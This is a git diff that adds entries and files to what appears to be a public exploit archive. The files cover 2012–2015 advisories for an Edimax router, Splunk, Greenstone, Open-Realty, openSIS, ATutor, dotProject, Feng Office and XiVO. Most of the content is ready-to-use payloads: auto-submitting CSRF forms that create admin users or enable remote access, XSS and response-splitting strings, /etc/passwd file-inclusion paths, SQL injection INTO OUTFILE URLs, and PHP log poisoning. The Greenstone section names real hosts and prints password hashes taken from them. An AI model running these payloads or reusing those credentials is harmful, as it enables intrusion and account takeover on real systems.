diff --git a/files.csv b/files.csv
index 32c2ce976..ef2ab64e2 100755
--- a/files.csv
+++ b/files.csv
@@ -34348,3 +34348,22 @@ id,file,description,date,author,platform,type,port
 38034,platforms/hardware/webapps/38034.txt,"Cyberoam Firewall CR500iNG-XP - 10.6.2 MR-1 - Blind SQL Injection Vulnerability",2015-08-31,"Dharmendra Kumar Singh",hardware,webapps,0
 38035,platforms/windows/local/38035.pl,"Boxoft WAV to MP3 Converter - convert Feature Buffer Overflow",2015-08-31,"Robbie Corley",windows,local,0
 38036,platforms/osx/local/38036.rb,"Apple OS X Entitlements Rootpipe Privilege Escalation",2015-08-31,metasploit,osx,local,0
+38037,platforms/php/webapps/38037.html,"Open-Realty 2.5.8 Cross Site Request Forgery Vulnerability",2012-11-16,"Aung Khant",php,webapps,0
+38038,platforms/multiple/dos/38038.txt,"Splunk <= 4.3.1 Denial of Service",2012-11-19,"Alexander Klink",multiple,dos,0
+38039,platforms/php/webapps/38039.txt,"openSIS 'modname' Parameter Local File Include Vulnerability",2012-11-20,"Julian Horoszkiewicz",php,webapps,0
+38040,platforms/php/webapps/38040.txt,"ATutor 'tool_file' Parameter Local File Include Vulnerability",2012-11-16,"Julian Horoszkiewicz",php,webapps,0
+38041,platforms/php/webapps/38041.txt,"WordPress Madebymilk Theme 'id' Parameter SQL Injection Vulnerability",2012-11-20,"Ashiyane Digital Security Team",php,webapps,0
+38042,platforms/php/webapps/38042.txt,"dotProject 2.1.x index.php Multiple Parameter SQL Injection",2012-11-21,"High-Tech Bridge",php,webapps,0
+38043,platforms/php/webapps/38043.txt,"dotProject 2.1.x index.php Multiple Parameter XSS",2012-11-21,"High-Tech Bridge",php,webapps,0
+38044,platforms/php/webapps/38044.txt,"Feng Office Security Bypass and HTML Injection Vulnerabilities",2012-11-21,Ur0b0r0x,php,webapps,0
+38045,platforms/php/webapps/38045.html,"XiVO Cross-Site Request Forgery Vulnerability",2012-11-21,"Francis Provencher",php,webapps,0
+38046,platforms/php/webapps/38046.txt,"WordPress Zingiri Web Shop Plugin 'path' Parameter Arbitrary File Upload Vulnerability",2012-11-22,"Ashiyane Digital Security Team",php,webapps,0
+38047,platforms/php/webapps/38047.txt,"WordPress Webplayer Plugin 'id' Parameter SQL Injection Vulnerability",2012-11-22,"Novin hack",php,webapps,0
+38048,platforms/php/webapps/38048.txt,"WordPress Plg Novana Plugin 'id' Parameter SQL Injection Vulnerability",2012-11-22,sil3nt,php,webapps,0
+38049,platforms/multiple/remote/38049.txt,"Greenstone Multiple Security Vulnerabilities",2012-11-23,AkaStep,multiple,remote,0
+38050,platforms/php/webapps/38050.txt,"WordPress Zarzadzonie Kontem Plugin 'ajaxfilemanager.php' Script Arbitrary File Upload Vulnerability",2012-11-22,"Ashiyane Digital Security Team",php,webapps,0
+38051,platforms/php/webapps/38051.txt,"Bedita 3.5.1 - XSS Vulnerabilities",2015-09-01,"Sébastien Morin",php,webapps,80
+38053,platforms/windows/dos/38053.txt,"Mpxplay Multimedia Commander 2.00a - .m3u Stack-Based Buffer Overflow",2015-09-01,"_ Un_N0n _",windows,dos,0
+38054,platforms/windows/dos/38054.txt,"SiS Windows VGA Display Manager 6.14.10.3930 - Write-What-Where PoC",2015-09-01,KoreLogic,windows,dos,0
+38055,platforms/windows/dos/38055.txt,"XGI Windows VGA Display Manager 6.14.10.1090 - Arbitrary Write PoC",2015-09-01,KoreLogic,windows,dos,0
+38056,platforms/hardware/webapps/38056.txt,"Edimax BR6228nS/BR6228nC - Multiple Vulnerabilities",2015-09-01,smash,hardware,webapps,80
diff --git a/platforms/hardware/webapps/38056.txt b/platforms/hardware/webapps/38056.txt
new file mode 100755
index 000000000..81048a7b6
--- /dev/null
+++ b/platforms/hardware/webapps/38056.txt
@@ -0,0 +1,156 @@
+# Title: Edimax BR6228nS/BR6228nC - Multiple vulnerabilities
+# Date: 01.09.15
+# Vendor: edimax.com
+# Firmware version: 1.22
+# Author: Smash_
+# Contact: smash [at] devilteam.pl
+
+Few vulnerabilities found in Edimax BR6228nS/BR6228nC router firmware.
+
+
+1/ Cross Site Scripting
+
+Request:
+POST /goform/formWizSetup HTTP/1.1
+Host: 192.168.0.10:8080
+User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://192.168.0.10:8080/main.asp
+Cookie: language=0
+Authorization: Basic YWRtaW46MTIzNA==
+Connection: keep-alive
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 33
+
+setPage=x");alert("X&wizEnabled=1
+
+Response:
+HTTP/1.0 200 OK
+Server: GoAhead-Webs
+
+<html>
+<body class="background" onLoad=document.location.replace("x");alert("X")></html>
+
+
+
+2/ HTTP Response Splitting
+
+Request:
+POST /goform/formReflashClientTbl HTTP/1.1
+Host: 192.168.0.10:8080
+User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://192.168.0.10:8080/stadhcptbl.asp
+Cookie: language=0
+Authorization: Basic YWRtaW46MTIzNA==
+Connection: keep-alive
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 163
+
+submit-url=%2Fstadhcptbl.asp%0d%0aXXX%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('X')</script>
+
+Response:
+HTTP/1.0 302 Redirect
+Server: GoAhead-Webs
+Date: Fri Nov 16 18:08:51 2012
+Pragma: no-cache
+Cache-Control: no-cache
+Content-Type: text/html
+Location: http://192.168.0.10:8080/stadhcptbl.asp
+XXX
+Content-Length: 0
+
+HTTP/1.1 200 OK
+Content-Type: text/html
+
+<script>alert('X')</script>
+
+
+
+3/ Cross Site Request Forgery
+
+Examples:
+
+<html>
+  <!-- Reboot -->
+  <body>
+    <form action="http://192.168.0.10:8080/goform/formReboot" method="POST">
+      <input type="hidden" name="reset&#95;flag" value="0" />
+      <input type="hidden" name="submit&#45;url" value="&#47;tools&#46;asp" />
+      <input type="submit" value="Go" />
+    </form>
+  </body>
+</html>
+
+  -
+
+<html>
+  <!-- Enable remote access -->
+  <body>
+    <form action="http://192.168.0.10:8080/goform/formReManagementSetup" method="POST">
+      <input type="hidden" name="reManHostAddr" value="0&#46;0&#46;0&#46;0" />
+      <input type="hidden" name="reManPort" value="8080" />
+      <input type="hidden" name="reMangEnable" value="ON" />
+      <input type="hidden" name="submit&#45;url" value="&#47;system&#46;asp" />
+      <input type="hidden" name="" value="" />
+      <input type="submit" value="Go" />
+    </form>
+  </body>
+</html>
+
+ -
+ 
+<html>
+  <!-- XSS -->
+  <body>
+    <form action="http://192.168.0.10:8080/goform/formWizSetup" method="POST">
+      <input type="hidden" name="setPage" value="x"&#41;&#59;alert&#40;"X" />
+      <input type="hidden" name="wizEnabled" value="1" />
+      <input type="submit" value="Submit request" />
+    </form>
+  </body>
+</html>
+
+
+
+4/ Unprotected files
+
+Following url's can be requested without http authorisation in order to obtain detail informations about router:
+
+http://192.168.0.10:8080/FUNCTION_SCRIPT
+http://192.168.0.10:8080/main.asp
+
+Example:
+
+devil@hell:~$ curl -ig http://192.168.0.10:8080/
+HTTP/1.1 401 Unauthorized
+Server: GoAhead-Webs
+Date: Fri Nov 16 18:28:39 2012
+WWW-Authenticate: Basic realm="Default: admin/1234"
+Pragma: no-cache
+Cache-Control: no-cache
+Content-Type: text/html
+
+devil@hell:~$ curl -ig http://192.168.0.10:8080/FUNCTION_SCRIPT
+HTTP/1.0 200 OK
+Date: Fri Nov 16 18:28:47 2012
+Server: GoAhead-Webs
+Last-modified: Fri Nov 16 09:57:30 2012
+Content-length: 997
+Content-type: text/html
+
+_DATE_="2012.11.16-17:51:47"
+_VERSION_="1.22"
+_MODEL_="BR6228GNS"
+_MODE_="EdimaxOBM"
+_PLATFORM_="RTL8196C_1200"
+_HW_LED_WPS_="4"
+_HW_LED_POWER_="6"
+_HW_LED_WIRELESS_="2"
+_HW_LED_USB_="17"
+_HW_BUTTON_RESET_="5"
+(...)
\ No newline at end of file
diff --git a/platforms/multiple/dos/38038.txt b/platforms/multiple/dos/38038.txt
new file mode 100755
index 000000000..5d83ab6e7
--- /dev/null
+++ b/platforms/multiple/dos/38038.txt
@@ -0,0 +1,27 @@
+source: http://www.securityfocus.com/bid/56581/info
+
+Splunk is prone to multiple cross-site scripting vulnerabilities and a denial-of-service vulnerability because it fails to properly handle user-supplied input.
+
+An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+"--splunk-cooked-mode-v3--\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
+\0\0\0\0.\0\0\0\SOH\0\0\0\DC3__s2s_capabilities\0\0\0
+\0\STXA\0\0\0\0\0\0\0\0\ENQ_raw\0"
diff --git a/platforms/multiple/remote/38049.txt b/platforms/multiple/remote/38049.txt
new file mode 100755
index 000000000..05a46aedd
--- /dev/null
+++ b/platforms/multiple/remote/38049.txt
@@ -0,0 +1,311 @@
+source: http://www.securityfocus.com/bid/56662/info
+
+Greenstone is prone to the following security vulnerabilities:
+
+1. A file-disclosure vulnerability
+2. A cross-site scripting vulnerability
+3. A security weakness
+4. A security-bypass vulnerability
+
+Attackers can exploit these issues to view local files, bypass certain security restriction, steal cookie-based authentication, or execute arbitrary scripts in the context of the browser. 
+
+=================Let's Roll============================
+
+
+Password  file disclosure:
+
+http://greenstone.flib.sci.am/gsdl/etc/users.gdb
+http://greenstone.flib.sci.am/gsdl/etc/key.gdb
+http://greenstone.martinique.univ-ag.fr/gsdl/etc/users.db
+http://greenstone.martinique.univ-ag.fr/gsdl/etc/key.db
+
+Example:
+(P.S Password encryption: Des (Unix))
+===================== Reproduce =====================
+$ wget http://greenstone.flib.sci.am/gsdl/etc/users.gdb && cat users.gdb
+--2012-11-22 17:04:39--  http://greenstone.flib.sci.am/gsdl/etc/users.gdb
+Resolving greenstone.flib.sci.am (greenstone.flib.sci.am)... 93.187.162.197
+Connecting to greenstone.flib.sci.am (greenstone.flib.sci.am)|93.187.162.197|:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 12926 (13K) [text/plain]
+Saving to: `users.gdb'
+
+100%[==========================================>] 12,926      31.8K/s   in 0.4s
+
+2012-11-22 17:04:40 (31.8 KB/s) - `users.gdb' saved [12926/12926]
+.......Some junk snip........
+...                                admin<comment>created at install time
+<enabled>true
+<groups>administrator,colbuilder,all-collections-editor
+<password>TpM5gyFpfCsLc
+<username>admindemo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
+<enabled>true
+<groups>demo
+<password>Tpp90HTz/jz9w
+<username>demotatevik<comment>
+<enabled>true
+<groups>all-collections-editor
+<password>Tpyq8s1oUIioc
+<username>tatevik
+azgayin<comment>
+<enabled>true
+<groups>all-collections-editor
+<password>Tp53Vsj1qM4cE
+<username>azgayin
+demo<comment>Dummy 'demo' user with password 'demo' for authen-e collection
+<enabled>true
+<groups>demo
+<password>TpzWMQXVfKFvw
+<username>demo
+
+========================= END OF users.gbd============================
+
+
+Known salt issuse (because this application uses "setpasswd" utility via 
+hardcoded salt=>: Tp)
+(Especially on windows systems)
+
+
+
+================================BEGIN================================
+/**********************************************************************
+ *
+ * setpasswd.cpp -- 
+ * Copyright (C) 2000  The New Zealand Digital Library Project
+ *
+ * A component of the Greenstone digital library software
+ * from the New Zealand Digital Library Project at the
+ * University of Waikato, New Zealand.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *********************************************************************/
+
+// setpasswd is a windows application that can be used to encrypt a password
+// and write it (along with its corresponding username) to a gdbm database.
+
+// it handles writing to the gdbm database itself to avoid having to call
+// the txt2db console application (and therefore avoiding the console
+// window popping up when called from another windows application).
+
+// note that setpasswd does no checking to make sure that any of it's
+// input arguments are valid (or even reasonable) values.
+
+// this program should be compiled into a binary called setpw.exe (to be
+// short enough not to mess with 16 bit Windows platforms).
+
+// usage:
+// setpw -u username -p password -o output_gdbm_file
+
+#include "text_t.h"
+#include "crypt.h"
+#include "autoconf.h"
+#include "systems.h"
+#include "gdbmconst.h"
+#include "gdbm.h"
+
+#include <windows.h>
+
+text_t username;
+text_t password;
+text_t output_gdbm_file;
+
+bool parse_cmdline (LPSTR cmdline) {
+
+  bool in_quote = false;
+  text_t arg;
+  text_tarray args;
+  unsigned char *c = (unsigned char *)cmdline;
+  while (*c != '\0') {
+    if (*c == '"') {
+      if (!in_quote) {
+  in_quote = true;
+      } else {
+  in_quote = false;
+  if (!arg.empty()) args.push_back (arg);
+  arg.clear();
+      }
+    } else if (*c == ' ' && !in_quote) {
+      if (!arg.empty()) args.push_back (arg);
+      arg.clear();
+    } else {
+      arg.push_back (*c);
+    }
+    ++c;
+  }
+  if (!arg.empty()) args.push_back (arg);
+  
+  text_tarray::const_iterator here = args.begin();
+  text_tarray::const_iterator end = args.end();
+  while (here != end) {
+    if (*here == "-u" && (++here != end)) username = *here;
+    else if (*here == "-p" && (++here != end)) password = *here;
+    else if (*here == "-o" && (++here != end)) output_gdbm_file = *here;
+    if (here != end) ++here;
+  }
+  if (username.empty() || password.empty() || output_gdbm_file.empty()) {
+    MessageBox (NULL, "Usage:\n setpasswd -u username -p password -o output_gdbm_file", 
+    "setpasswd failed", MB_OK);
+    return false;
+  }
+  return true;
+}
+
+text_t crypt_text (const text_t &text) {
+  static const char *salt = "Tp";
+  text_t crypt_password;
+
+  if (text.empty()) return "";
+
+  // encrypt the password
+  char *text_cstr = text.getcstr();
+  if (text_cstr == NULL) return "";
+  crypt_password = crypt(text_cstr, salt);
+  delete []text_cstr;
+
+  return crypt_password;
+}
+
+bool add_to_db () {
+
+  int block_size = 0;
+  GDBM_FILE dbf;
+  char *dbname = output_gdbm_file.getcstr();
+
+  // open the database
+  int read_write = GDBM_WRCREAT;
+  dbf = gdbm_open (dbname, block_size, read_write, 00664, NULL, 1);
+  if (dbf == NULL) {
+    MessageBox (NULL, "gdbm_open failed\n", "setpasswd", MB_OK);
+    return false;
+  }
+
+  datum key_data;
+  key_data.dptr = username.getcstr();
+  if (key_data.dptr == NULL) {
+    MessageBox (NULL, "null key_data\n", "setpasswd", MB_OK);
+    return false;
+  }
+  key_data.dsize = strlen(key_data.dptr);
+
+  text_t value = "<comment>\n";
+  value += "<enabled>true\n";
+  value += "<groups>administrator,colbuilder\n";
+  value += "<password>" + password + "\n";
+  value += "<username>" + username + "\n";
+      
+  datum value_data;
+  value_data.dptr = value.getcstr();
+  if (value_data.dptr == NULL) {
+    MessageBox (NULL, "null value_data\n", "setpasswd", MB_OK);
+    return false;
+  }
+  value_data.dsize = strlen(value_data.dptr);
+      
+  // store the value
+  if (gdbm_store (dbf, key_data, value_data, GDBM_REPLACE) < 0) {
+    MessageBox (NULL, "gdbm_store failed\n", "setpasswd", MB_OK);
+    return false;
+  }
+  gdbm_close (dbf);
+
+  delete []key_data.dptr;
+  delete []value_data.dptr;
+  delete []dbname;
+  return true;
+}
+
+int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
+                     LPSTR lpCmdLine, int nCmdShow) {
+
+  // parse command line arguments
+  if (!parse_cmdline (lpCmdLine)) return 1;
+
+  // encrypt the password
+  password = crypt_text (password);
+
+  // append the password and username to database
+  add_to_db();
+  
+  return 0;
+}
+
+============================================================
+
+XSS:
+
+site.tld/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=<script>alert("OwnEd");</script>
+Demo: 
+http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E
+
+http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E%20%3E%3E%20greenstone.flib.greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E
+
+http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=%22%3E%3Cscript%3Ealert%28%22Again%20Owned%22%29;%3C/script%3E&pr=7&c=AkaStep
+
+
+============================================================
+
+
+
+Log forging:
+
+http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223"%0D%0A%0D%0AWarning: Accepted connection from unknown host to local port: 22 root logged in%29%0D%0A%0D%0A" cmd.exe
+
+
+http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223%0D%0A%0D%0AError%20D:\Program%20Files\Greenstone\%20directory%20owned?%29%0D%0A%0D%0A
+
+
+Forged log:  http://greenstone.unam.na/gsdl/etc/error.txt              (CTRL+F and search for:  host to local port: 22)
+
+Example:
+
+===================EXAMPLE OF =FORGED LOG====================
+Error: the action "4?e="3"
+
+
+
+Warning: Accepted connection from unknown host to local port: 22 root logged in)          <==Fake entry for Panic system administrator))))))
+
+
+
+" cmd.exe" could not be found.
+
+================END OF FORGED LOG=============
+
+Log File Poisoning: (Usefull for LFI)
+www.bibliotecamuseodelamemoria.cl/gsdl/cgi-bin/library.cgi?e=4?e="%0d%0a<?php phpinfo();?>%0d%0a%00%00
+
+Poisoned Log can be found in the following places: 
+site/gsdl/etc/error.txt
+or 
+site/etc/error.txt              (<=On Windows systems in ex i found it here)
+
+
+
+
+Example of injected log:
+==================================
+
+http://greenstone.unam.na/gsdl/etc/error.txt
+
+
+Error: the action "4?e="
+
+<?php phpinfo();?>
+
+.." could not be found.
+==================================
+
+******************** The End *******************
diff --git a/platforms/php/webapps/38037.html b/platforms/php/webapps/38037.html
new file mode 100755
index 000000000..c786350e5
--- /dev/null
+++ b/platforms/php/webapps/38037.html
@@ -0,0 +1,61 @@
+source: http://www.securityfocus.com/bid/56580/info
+
+Open-Realty is prone to a cross-site request-forgery vulnerability.
+
+Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions and gain access to the affected application. Other attacks are also possible.
+
+Open-Realty 2.5.8 and prior versions are vulnerable; other versions may also be affected. 
+
+<!-- Add Admin User --> 
+ <form 
+action="http://localhost/orealty/admin/index.php?action=user_manager" 
+method="POST">
+      <input type="hidden" name="action" value="createNewUser" />
+      <input type="hidden" name="edit&#95;user&#95;name" value="user" />
+      <input type="hidden" name="edit&#95;user&#95;pass" 
+value="pa55w0rd" />
+      <input type="hidden" name="edit&#95;user&#95;pass2" 
+value="pa55w0rd" />
+      <input type="hidden" name="user&#95;first&#95;name" value="hacker" 
+/>
+      <input type="hidden" name="user&#95;last&#95;name" value="smith" 
+/>
+      <input type="hidden" name="user&#95;email" 
+value="hacker&#64;yehg&#46;net" />
+      <input type="hidden" name="edit&#95;active" value="yes" />
+      <input type="hidden" name="edit&#95;isAdmin" value="yes" />
+      <input type="hidden" name="edit&#95;isAgent" value="yes" />
+      <input type="hidden" name="limitListings" value="&#45;1" />
+      <input type="hidden" name="edit&#95;limitFeaturedListings" 
+value="&#45;1" />
+      <input type="hidden" name="edit&#95;userRank" value="0" />
+      <input type="hidden" name="edit&#95;canEditAllListings" 
+value="yes" />
+      <input type="hidden" name="edit&#95;canEditAllUsers" value="yes" 
+/>
+      <input type="hidden" name="edit&#95;canEditSiteConfig" value="yes" 
+/>
+      <input type="hidden" name="edit&#95;canEditMemberTemplate" 
+value="yes" />
+      <input type="hidden" name="edit&#95;canEditAgentTemplate" 
+value="yes" />
+      <input type="hidden" name="edit&#95;canEditPropertyClasses" 
+value="yes" />
+      <input type="hidden" name="edit&#95;canEditListingTemplate" 
+value="yes" />
+      <input type="hidden" name="edit&#95;canViewLogs" value="yes" />
+      <input type="hidden" name="edit&#95;canModerate" value="yes" />
+      <input type="hidden" name="edit&#95;canFeatureListings" 
+value="yes" />
+      <input type="hidden" name="edit&#95;canEditListingExpiration" 
+value="yes" />
+      <input type="hidden" name="edit&#95;canExportListings" value="no" 
+/>
+      <input type="hidden" name="edit&#95;canPages" value="yes" />
+      <input type="hidden" name="edit&#95;canVtour" value="yes" />
+      <input type="hidden" name="edit&#95;canFiles" value="yes" />
+      <input type="hidden" name="edit&#95;canUserFiles" value="yes" />
+      <input type="hidden" name="edit&#95;canManageAddons" value="yes" 
+/>
+      <script>document.forms[0].submit()</script>
+    </form>
diff --git a/platforms/php/webapps/38039.txt b/platforms/php/webapps/38039.txt
new file mode 100755
index 000000000..56b7ee0da
--- /dev/null
+++ b/platforms/php/webapps/38039.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/56598/info
+
+openSIS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
+
+openSIS 5.1 is vulnerable; other versions may also be affected.
+
+http://www.example.com/opensis5.1/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php 
\ No newline at end of file
diff --git a/platforms/php/webapps/38040.txt b/platforms/php/webapps/38040.txt
new file mode 100755
index 000000000..76bc88f1e
--- /dev/null
+++ b/platforms/php/webapps/38040.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/56600/info
+
+ATutor is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.
+
+ATutor 2.1 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd 
\ No newline at end of file
diff --git a/platforms/php/webapps/38041.txt b/platforms/php/webapps/38041.txt
new file mode 100755
index 000000000..f0fb73538
--- /dev/null
+++ b/platforms/php/webapps/38041.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/56608/info
+
+The Madebymilk theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
+
+An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 
+
+https://www.example.com/wp-content/plugins/madebymilk/voting-popup.php?id=null' 
\ No newline at end of file
diff --git a/platforms/php/webapps/38042.txt b/platforms/php/webapps/38042.txt
new file mode 100755
index 000000000..f3b7fd62f
--- /dev/null
+++ b/platforms/php/webapps/38042.txt
@@ -0,0 +1,17 @@
+source: http://www.securityfocus.com/bid/56624/info
+
+Dotproject is prone to the following security vulnerabilities:
+
+1. Multiple SQL-injection vulnerabilities
+
+2. Multiple cross-site scripting vulnerabilities
+
+Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Dotproject versions prior to 2.1.7 are vulnerable. 
+
+http://www.example.com/index.php?m=contacts&search_string=0%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8, 9,10,11%20INTO%20OUTFILE%20%27file.txt%27%20--%202
+http://www.example.com/index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%2 0INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
+http://www.example.com/index.php?m=departments&dept_id=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE% 20%27/tmp/file.txt%27%20--%202
+http://www.example.com/?m=projects&update_project_status=1&project_status=1&project_id[]=%27%20UNION%20SELECT %20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
+http://www.example.com/?m=system&a=billingcode&company_id=0%20UNION%20SELECT%201,2,3,4,5,6%20INTO%20OUTFILE%2 0%27/tmp/file.txt%27%20--%202
\ No newline at end of file
diff --git a/platforms/php/webapps/38043.txt b/platforms/php/webapps/38043.txt
new file mode 100755
index 000000000..3e4a9e399
--- /dev/null
+++ b/platforms/php/webapps/38043.txt
@@ -0,0 +1,16 @@
+source: http://www.securityfocus.com/bid/56624/info
+ 
+Dotproject is prone to the following security vulnerabilities:
+ 
+1. Multiple SQL-injection vulnerabilities
+ 
+2. Multiple cross-site scripting vulnerabilities
+ 
+Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+ 
+Dotproject versions prior to 2.1.7 are vulnerable. 
+
+http://www.example.com/?m=public&a=color_selector&callback=%3C/script%3E%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E
+http://www.example.com/?m=public&a=date_format&field=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
+http://www.example.com/index.php?m=contacts&a=addedit&contact_id=0&company_id=1&company_name=%22%20onmouseove r=%22javascript:alert%28document.cookie%29%22
+http://www.example.com/index.php?a=day_view&date=%22%20onmouseover=%22javascript:alert%28document.cookie%29%2 2
\ No newline at end of file
diff --git a/platforms/php/webapps/38044.txt b/platforms/php/webapps/38044.txt
new file mode 100755
index 000000000..697ea93f5
--- /dev/null
+++ b/platforms/php/webapps/38044.txt
@@ -0,0 +1,26 @@
+source: http://www.securityfocus.com/bid/56626/info
+
+Feng Office is prone to a security-bypass vulnerability and an HTML-injection vulnerability.
+
+An attacker may leverage the HTML-injection issue to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. The attacker may leverage the security-bypass issue to bypass certain security restrictions and perform unauthorized actions in the affected application.
+
+Feng Office 2.2.1 and 2.0 Beta 3 are vulnerable; other versions may also be affected. 
+
+# Expl0it/P0c/Xss ###################
+<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
+
+# Expl0it/P0c/Privilege Escalation ###################
+<input type="hidden" value="" name="contact[new_contact_from_mail_div_id]">
+<input type="hidden" value="" name="contact[hf_contacts]">
+<label for="og_1353469580_283914profileFormFirstName">First name:      
+<input type="text" value="poc" name="contact[first_name]" maxlength="50" id="og_1353469580_283914profileFormFirstName">
+<label for="og_1353469580_283914profileFormSurName">Last name:      
+<input type="text" value="poc2" name="contact[surname]" maxlength="50" id="og_1353469580_283914profileFormSurname">    
+<label for="og_1353469580_283914profileFormEmail">Email address:</label>      
+<input type="text" value="poctest@live.com" name="contact[email]" style="width:260px;" maxlength="100" id="og_1353469580_283914profileFormEmail">
+<div style="" class="user-data">
+<label>Password:<input type="password" name="contact[user][password]">
+<label>Repeat password:<input type="password" name="contact[user][password_a]" class="field-error">
+<select name="contact[user][type]">
+<option value="1">Super Administrator</option>
+<button tabindex="20000" id="og_1353471270_613002submit2" class="submit" type="submit" accesskey="s">Add Per<u>s</u>on</button>
diff --git a/platforms/php/webapps/38045.html b/platforms/php/webapps/38045.html
new file mode 100755
index 000000000..1d8fc77d0
--- /dev/null
+++ b/platforms/php/webapps/38045.html
@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/56652/info
+
+XiVO is prone to a cross-site request-forgery vulnerability.
+
+Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.
+
+XiVO 12.22 is vulnerable; other versions may also be affected. 
+
+<html><head><body>
+<title>Deleter user ID 2</title>
+<iframe src=https://www.example.com/xivo/configuration/index.php/manage/user/?act=delete&id=2&page=1');
+</body></head><html> 
\ No newline at end of file
diff --git a/platforms/php/webapps/38046.txt b/platforms/php/webapps/38046.txt
